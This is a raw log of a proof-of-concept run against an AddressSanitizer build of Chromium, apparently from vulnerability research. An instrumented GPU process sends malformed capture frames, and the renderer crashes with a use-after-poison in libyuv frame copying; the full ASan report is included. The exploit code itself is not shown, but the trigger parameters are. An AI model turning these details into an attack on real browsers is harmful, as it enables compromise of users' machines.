+++ dirname /poc-artifacts/run.sh ++ cd /poc-artifacts ++ pwd + ARTIFACTS_DIR=/poc-artifacts + CHROME=/chromium/chromium/src/out/asan/chrome + PROFILE=/tmp/chrome-poc-profile + rm -rf /tmp/chrome-poc-profile + pkill -9 -f /poc-artifacts/server.py + sleep 1 + export POC_PORT=9074 + POC_PORT=9074 + SERVER_PID=12345 + sleep 1 + python3 /poc-artifacts/server.py [server] listening on http://127.0.0.1:9074 + trap 'kill -9 $SERVER_PID 2>/dev/null' EXIT + export ASAN_OPTIONS=symbolize=1:handle_segv=1:handle_sigbus=1:handle_abort=1:detect_odr_violation=0 + ASAN_OPTIONS=symbolize=1:handle_segv=1:handle_sigbus=1:handle_abort=1:detect_odr_violation=0 + export ASAN_SYMBOLIZER_PATH=/chromium/chromium/src/third_party/llvm-build/Release+Asserts/bin/llvm-symbolizer + ASAN_SYMBOLIZER_PATH=/chromium/chromium/src/third_party/llvm-build/Release+Asserts/bin/llvm-symbolizer + timeout 25 /chromium/chromium/src/out/asan/chrome --no-first-run --no-default-browser-check --no-sandbox --disable-dev-shm-usage --user-data-dir=/tmp/chrome-poc-profile --enable-logging=stderr --v=0 --autoplay-policy=no-user-gesture-required --disable-features=GetDisplayMediaRequiresUserActivation --auto-select-tab-capture-source-by-title=PocTab --auto-accept-this-tab-capture http://127.0.0.1:9074/poc.html [12348:12363:0602/211836.012250:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [12348:12363:0602/211836.012461:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [12348:12363:0602/211836.012561:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [12348:12363:0602/211836.012642:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [12348:12363:0602/211836.012768:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [12348:12363:0602/211836.032518:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [12348:12348:0602/211836.089262:WARNING:chrome/browser/signin/account_consistency_mode_manager.cc:74] Desktop Identity Consistency cannot be enabled as no OAuth client ID and client secret have been configured. [12348:12363:0602/211836.098109:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [12380:12380:0602/211836.133532:WARNING:media/gpu/vaapi/vaapi_wrapper.cc:1655] drmGetDevices2() has not found any devices [12380:12380:0602/211836.144775:WARNING:sandbox/policy/linux/sandbox_linux.cc:405] InitializeSandbox() called with multiple threads in process gpu-process. [12348:12348:0602/211836.151666:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [12348:12348:0602/211836.151809:WARNING:device/bluetooth/dbus/bluez_dbus_manager.cc:209] Floss manager service not available, cannot set Floss enable/disable. [12348:12363:0602/211836.151835:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [12348:12348:0602/211836.151862:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [12348:12363:0602/211836.151951:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [12348:12348:0602/211836.152374:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [12380:12380:0602/211836.152788:WARNING:ui/gfx/linux/gbm_support_x11.cc:48] dri3 extension not supported. [12348:12348:0602/211836.161185:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: (chrome:12348): dbind-WARNING **: 21:18:36.178: Couldn't connect to accessibility bus: Failed to connect to socket /run/user/104146510/at-spi/bus_20: No such file or directory [12348:12363:0602/211836.215789:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [12348:12363:0602/211836.215850:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [12348:12363:0602/211836.429303:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [12348:12363:0602/211836.429384:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [12348:12348:0602/211836.429495:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [12348:12348:0602/211836.430208:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [12348:12363:0602/211836.430319:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [server] "GET /poc.html HTTP/1.1" 200 - [12348:12348:0602/211836.490943:WARNING:dbus/property.cc:94] Failed to connect to PropertiesChangedsignal. [12348:12348:0602/211836.491041:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.Properties.GetAll: object_path= /org/freedesktop/UPower/devices/DisplayDevice: unknown error type: [12348:12348:0602/211836.491063:WARNING:dbus/property.cc:174] GetAll request failed for: org.freedesktop.UPower.Device [12348:12348:0602/211836.492943:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [12348:12363:0602/211836.493127:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [12348:12348:0602/211836.534894:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [12348:12363:0602/211836.535081:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [12348:12348:0602/211836.587129:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [12348:12348:0602/211836.587167:WARNING:ui/base/idle/idle_linux.cc:111] None of the known D-Bus ScreenSaver services could be used. [server] code 404, message File not found [server] "GET /favicon.ico HTTP/1.1" 404 - [12348:12348:0602/211837.054118:INFO:CONSOLE:13] "starting getDisplayMedia()", source: http://127.0.0.1:9074/poc.html (13) [12348:12348:0602/211837.067990:WARNING:third_party/webrtc/modules/desktop_capture/linux/x11/x_server_pixel_buffer.cc:202] Failed to get icc profile [12348:12348:0602/211837.068123:WARNING:third_party/webrtc/modules/desktop_capture/linux/x11/x_server_pixel_buffer.cc:257] Not using shared memory. Performance may be degraded. [12348:12363:0602/211837.108821:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [12348:12363:0602/211837.108976:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [12348:12348:0602/211837.109089:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [12348:12363:0602/211837.109218:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [12348:12348:0602/211837.109232:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [12348:12363:0602/211837.109291:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [12348:12348:0602/211837.109324:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [12348:12348:0602/211837.109360:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [12380:12467:0602/211837.170616:ERROR:components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc:1638] POC[gpu]: sending malicious OnFrameCaptured (I420 32766x4, strides={1,1,1,0}, shmem=8B) [12348:12348:0602/211837.173920:INFO:CONSOLE:13] "got stream: 60716817-e516-4b69-ae7d-f2bf3aacd2a2", source: http://127.0.0.1:9074/poc.html (13) [12380:12467:0602/211837.174743:ERROR:components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc:1638] POC[gpu]: sending malicious OnFrameCaptured (I420 32766x4, strides={1,1,1,0}, shmem=8B) [12380:12467:0602/211837.175785:ERROR:components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc:1638] POC[gpu]: sending malicious OnFrameCaptured (I420 32766x4, strides={1,1,1,0}, shmem=8B) [12502:12502:0602/211837.182600:ERROR:third_party/blink/renderer/modules/mediastream/web_media_player_ms_compositor.cc:120] POC[renderer]: CopyFrame coded_size=32766x4 stride[Y]=1 span[Y].size=4 ================================================================= [12348:12348:0602/211837.194456:INFO:CONSOLE:13] "video playing", source: http://127.0.0.1:9074/poc.html (13) [12348:12348:0602/211837.194543:INFO:CONSOLE:13] "frame dimensions: 2x2", source: http://127.0.0.1:9074/poc.html (13) [12348:12348:0602/211837.194608:INFO:CONSOLE:13] "pause() iteration 0", source: http://127.0.0.1:9074/poc.html (13) ==12502==ERROR: AddressSanitizer: use-after-poison on address 0x78f601302008 at pc 0x6202eb6b7e3f bp 0x7ffdb8a00c90 sp 0x7ffdb8a00450 READ of size 32766 at 0x78f601302008 thread T0 (chrome) [12348:12363:0602/211837.200406:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/104146510/bus: No such file or directory [12348:12348:0602/211837.200534:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [12380:12467:0602/211837.226553:ERROR:components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc:1638] POC[gpu]: sending malicious OnFrameCaptured (I420 32766x4, strides={1,1,1,0}, shmem=8B) [12380:12467:0602/211837.285147:ERROR:components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc:1638] POC[gpu]: sending malicious OnFrameCaptured (I420 32766x4, strides={1,1,1,0}, shmem=8B) #0 0x6202eb6b7e3e in __asan_memcpy (/chromium/chromium/src/out/asan/chrome+0x11414e3e) (BuildId: 841c1cb135fe530b) #1 0x6203085d62aa in CopyRow_C third_party/libyuv/source/row_common.cc:3288:3 #2 0x620308580500 in CopyPlane third_party/libyuv/source/planar_functions.cc:96:5 #3 0x620308564a37 in I420Copy third_party/libyuv/source/convert.cc:119:5 #4 0x6203186dc185 in blink::WebMediaPlayerMSCompositor::ReplaceCurrentFrameWithACopy() third_party/blink/renderer/modules/mediastream/web_media_player_ms_compositor.cc:150:7 #5 0x6203186af8d0 in base::internal::Invoker&&>, base::internal::BindState>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12 #6 0x62030403ebe3 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12 #7 0x6203040ae29c in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5 #8 0x6203040ad13a in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:336:40 #9 0x620303efd7a2 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:65:55 #10 0x6203040af984 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:640:12 #11 0x620303fb96b0 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14 #12 0x62031085a594 in content::RendererMain(content::MainFunctionParams) content/renderer/renderer_main.cc:336:16 #13 0x62030084fcf3 in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:665:14 #14 0x620300850ffb in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string, std::__Cr::allocator> const&, content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:772:12 #15 0x620300853f01 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1164:10 #16 0x62030084d70b in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:356:36 #17 0x62030084dcfc in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:369:10 #18 0x6202eb6f602b in ChromeMain chrome/app/chrome_main.cc:221:12 #19 0x7cf60462b249 (/lib/x86_64-linux-gnu/libc.so.6+0x27249) (BuildId: 6196744a316dbd57c0fd8968df1680aac482cec4) Address 0x78f601302008 is a wild pointer inside of access range of size 0x000000007ffe. SUMMARY: AddressSanitizer: use-after-poison (/chromium/chromium/src/out/asan/chrome+0x11414e3e) (BuildId: 841c1cb135fe530b) in __asan_memcpy Shadow bytes around the buggy address: 0x78f601301d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x78f601301e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x78f601301e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x78f601301f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x78f601301f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x78f601302000: 00[f7]f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x78f601302080: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x78f601302100: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x78f601302180: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x78f601302200: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x78f601302280: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb NOTE: the stack trace above identifies the code that *accessed* the poisoned memory. To identify the code that *poisoned* the memory, try the experimental setting ASAN_OPTIONS=poison_history_size=. ==12502==ADDITIONAL INFO ==12502==Note: Please include this section with the ASan report. Task trace: #0 0x6203186af08a in base::internal::Invoker&&, blink::CrossThreadOnceFunction&&>, base::internal::BindState, blink::CrossThreadOnceFunction>, void ()>::RunOnce(base::internal::BindStateBase*) third_party/blink/renderer/modules/mediastream/web_media_player_ms.cc:892:47 #1 0x62031869f453 in blink::WebMediaPlayerMS::Pause(blink::WebMediaPlayer::PauseReason) third_party/blink/renderer/modules/mediastream/web_media_player_ms.cc:888:28 Command line: `/proc/self/exe --type=renderer --gpu-client-id=6 --crashpad-handler-pid=12350 --enable-crash-reporter=, --user-data-dir=/tmp/chrome-poc-profile --change-stack-guard-on-fork=enable --no-sandbox --disable-dev-shm-usage --autoplay-policy=no-user-gesture-required --ozone-platform=x11 --lang=en-US --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1779725768335899 --gpu-channel-request-start-time-ticks=709348042642 --launch-time-ticks=709348048906 --shared-files=v8_context_snapshot_data:100 --metrics-shmem-handle=4,i,8443418047227323458,5908349233013974384,2097152 --field-trial-handle=3,i,16734934936970667690,531896868759157944,262144 --disable-features=GetDisplayMediaRequiresUserActivation --variations-seed-version --pseudonymization-salt-handle=7,i,14532986790929932741,5774508824414093426,4 --trace-process-track-uuid=3190708991934122588 --enable-logging=stderr --v=0` ==12502==END OF ADDITIONAL INFO ==12502==ABORTING [12348:12363:0602/211838.617344:ERROR:google_apis/gcm/engine/registration_request.cc:291] Registration response error message: DEPRECATED_ENDPOINT + kill -9 12345